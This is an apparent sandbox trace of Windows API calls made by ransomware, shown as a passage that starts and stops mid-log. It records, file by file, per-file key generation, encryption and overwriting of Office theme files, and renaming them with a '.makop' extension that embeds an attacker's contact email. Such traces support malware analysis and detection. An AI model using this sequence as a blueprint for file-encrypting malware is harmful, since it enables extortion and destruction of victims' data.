lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.072] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.072] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.072] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x696d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x696d, lpOverlapped=0x0) returned 1 [0159.075] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6970, dwBufLen=0x6970 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6970) returned 1 [0159.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.075] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6970, lpOverlapped=0x0) returned 1 [0159.076] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.076] SetEndOfFile (hFile=0xf0) returned 1 [0159.082] GetProcessHeap () returned 0x48a0000 [0159.083] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.083] GetProcessHeap () returned 0x48a0000 [0159.083] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.083] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0159.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.085] CloseHandle (hObject=0xf0) returned 1 [0159.085] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="BLACKT~1.EFT")) returned 1 [0159.085] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0159.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.087] GetProcessHeap () returned 0x48a0000 [0159.087] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.087] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.088] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0159.092] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.092] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.092] GetProcessHeap () returned 0x48a0000 [0159.092] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.092] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.092] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.092] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.092] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.092] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.093] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.093] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.093] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x96e87, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x96e87, lpOverlapped=0x0) returned 1 [0159.112] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x96e90, dwBufLen=0x96e90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x96e90) returned 1 [0159.119] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.119] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x96e90, lpOverlapped=0x0) returned 1 [0159.124] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x96f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.124] SetEndOfFile (hFile=0xf0) returned 1 [0159.132] GetProcessHeap () returned 0x48a0000 [0159.132] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.132] GetProcessHeap () returned 0x48a0000 [0159.132] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.132] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0159.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.135] CloseHandle (hObject=0xf0) returned 1 [0159.135] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="CIVIC~1.EFT")) returned 1 [0159.135] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0159.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.136] GetProcessHeap () returned 0x48a0000 [0159.136] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.136] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.137] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0159.143] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.143] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.143] GetProcessHeap () returned 0x48a0000 [0159.143] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0159.143] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0159.143] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.143] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0159.144] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.144] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.144] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.144] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.144] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.144] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.145] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa7a5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa7a5, lpOverlapped=0x0) returned 1 [0159.147] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa7b0, dwBufLen=0xa7b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa7b0) returned 1 [0159.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa7b0, lpOverlapped=0x0) returned 1 [0159.148] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.148] SetEndOfFile (hFile=0xf0) returned 1 [0159.156] GetProcessHeap () returned 0x48a0000 [0159.156] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0159.156] GetProcessHeap () returned 0x48a0000 [0159.156] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.156] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0159.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.158] CloseHandle (hObject=0xf0) returned 1 [0159.158] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="CLARIT~1.EFT")) returned 1 [0159.158] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79 [0159.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.160] GetProcessHeap () returned 0x48a0000 [0159.160] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.160] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0159.165] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.165] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.165] GetProcessHeap () returned 0x48a0000 [0159.165] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.166] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.166] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.166] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.166] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.166] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.166] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.166] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.167] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.167] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.167] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8032, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8032, lpOverlapped=0x0) returned 1 [0159.169] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8040, dwBufLen=0x8040 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8040) returned 1 [0159.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8040, lpOverlapped=0x0) returned 1 [0159.170] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.170] SetEndOfFile (hFile=0xf0) returned 1 [0159.176] GetProcessHeap () returned 0x48a0000 [0159.176] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.176] GetProcessHeap () returned 0x48a0000 [0159.177] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.177] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0159.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.178] CloseHandle (hObject=0xf0) returned 1 [0159.179] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="COMPOS~1.EFT")) returned 1 [0159.179] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0159.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.180] GetProcessHeap () returned 0x48a0000 [0159.180] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.180] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.180] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0159.186] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.186] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.186] GetProcessHeap () returned 0x48a0000 [0159.186] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.186] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.187] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 